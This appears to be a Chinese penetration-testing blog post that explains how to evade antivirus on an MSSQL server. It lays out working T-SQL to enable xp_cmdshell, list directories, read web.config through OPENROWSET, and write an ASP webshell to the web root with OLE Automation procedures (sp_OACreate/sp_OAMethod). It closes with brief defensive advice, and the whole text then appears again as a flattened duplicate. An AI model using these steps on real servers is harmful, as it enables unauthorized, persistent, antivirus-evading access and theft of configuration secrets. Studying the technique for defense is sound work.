绕过杀软的另类思路
字数 923 2025-08-22 12:23:36

绕过杀软的另类思路:通过OLE自动化存储过程写入WebShell

0x1 背景介绍

在渗透测试过程中,当获取到MSSQL数据库凭据后,常见的提权方法是使用xp_cmdshell执行系统命令。然而,当目标系统存在杀毒软件时,这种方法往往会被拦截。本文介绍一种绕过杀软的替代方法:使用OLE自动化存储过程写入WebShell。

0x2 前置条件

  1. 数据库权限要求

    • 必须是sysadmin角色成员
    • 可通过以下SQL语句验证:
      Select IS_SRVROLEMEMBER('sysadmin');
      
      返回1表示是sysadmin角色成员
  2. 需要获取的信息

    • 网站绝对路径
    • 数据库支持OLE自动化存储过程

0x3 传统方法尝试与失败

3.1 xp_cmdshell方法

  1. 启用xp_cmdshell:

    EXEC sp_configure 'show advanced options', 1;
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1;
    RECONFIGURE;
    
  2. 执行命令测试:

    exec master..xp_cmdshell 'whoami';
    
    • 可能失败原因:
      • 权限不足
      • 杀软/防火墙拦截

3.2 获取网站路径

使用xp_dirtree获取目录结构:

-- 列出C盘下Temp目录所有文件
EXEC xp_dirtree 'C:\Temp', 1, 1;

-- 列出C盘下Temp目录所有文件夹
EXEC xp_dirtree 'C:\Temp', 1;

3.3 读取文件内容

使用OPENROWSET读取文件:

-- 启用Ad Hoc Distributed Queries
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ad Hoc Distributed Queries', 1;
RECONFIGURE;

-- 读取文件内容
SELECT * FROM OPENROWSET(BULK 'd:\TwApi\Wuye\web.config', SINGLE_CLOB) AS FileContent;

0x4 OLE自动化存储过程写入WebShell

4.1 启用OLE自动化存储过程

EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

4.2 写入WebShell

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\xxxx\muma.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'木马文件内容'

4.3 方法优势

  1. 绕过杀软检测

    • 通过数据库服务权限(通常是系统级别)创建文件
    • 没有典型的网络传输过程,规避杀软监控
  2. 文件持久性

    • 杀软可能无法直接操作或修改数据库生成的文件
    • 相比普通上传的文件(继承当前用户权限)更难被查杀

0x5 防御建议

  1. 数据库安全配置

    • 禁用不必要的存储过程(xp_cmdshell、OLE自动化等)
    • 限制sysadmin角色成员数量
  2. 文件系统监控

    • 监控Web目录下的文件创建操作
    • 设置适当的文件权限,防止数据库账户写入Web目录
  3. 杀毒软件配置

    • 确保杀软具有足够权限扫描所有文件
    • 监控异常的文件创建行为,而非仅依赖特征检测

0x6 总结

通过OLE自动化存储过程写入WebShell是一种有效的绕过杀软的方法,其关键在于:

  1. 利用数据库服务的高权限创建文件
  2. 绕过常规的文件传输监控机制
  3. 创建的文件可能因权限问题难以被杀软处理

这种方法适用于当传统方法(xp_cmdshell等)被拦截时的替代方案,但需要满足特定的前置条件。防御方应关注数据库安全配置和文件系统监控,以防范此类攻击。

绕过杀软的另类思路:通过OLE自动化存储过程写入WebShell 0x1 背景介绍 在渗透测试过程中,当获取到MSSQL数据库凭据后,常见的提权方法是使用xp_ cmdshell执行系统命令。然而,当目标系统存在杀毒软件时,这种方法往往会被拦截。本文介绍一种绕过杀软的替代方法:使用OLE自动化存储过程写入WebShell。 0x2 前置条件 数据库权限要求 : 必须是sysadmin角色成员 可通过以下SQL语句验证: 返回1表示是sysadmin角色成员 需要获取的信息 : 网站绝对路径 数据库支持OLE自动化存储过程 0x3 传统方法尝试与失败 3.1 xp_ cmdshell方法 启用xp_ cmdshell: 执行命令测试: 可能失败原因: 权限不足 杀软/防火墙拦截 3.2 获取网站路径 使用xp_ dirtree获取目录结构: 3.3 读取文件内容 使用OPENROWSET读取文件: 0x4 OLE自动化存储过程写入WebShell 4.1 启用OLE自动化存储过程 4.2 写入WebShell 4.3 方法优势 绕过杀软检测 : 通过数据库服务权限(通常是系统级别)创建文件 没有典型的网络传输过程,规避杀软监控 文件持久性 : 杀软可能无法直接操作或修改数据库生成的文件 相比普通上传的文件(继承当前用户权限)更难被查杀 0x5 防御建议 数据库安全配置 : 禁用不必要的存储过程(xp_ cmdshell、OLE自动化等) 限制sysadmin角色成员数量 文件系统监控 : 监控Web目录下的文件创建操作 设置适当的文件权限,防止数据库账户写入Web目录 杀毒软件配置 : 确保杀软具有足够权限扫描所有文件 监控异常的文件创建行为,而非仅依赖特征检测 0x6 总结 通过OLE自动化存储过程写入WebShell是一种有效的绕过杀软的方法,其关键在于: 利用数据库服务的高权限创建文件 绕过常规的文件传输监控机制 创建的文件可能因权限问题难以被杀软处理 这种方法适用于当传统方法(xp_ cmdshell等)被拦截时的替代方案,但需要满足特定的前置条件。防御方应关注数据库安全配置和文件系统监控,以防范此类攻击。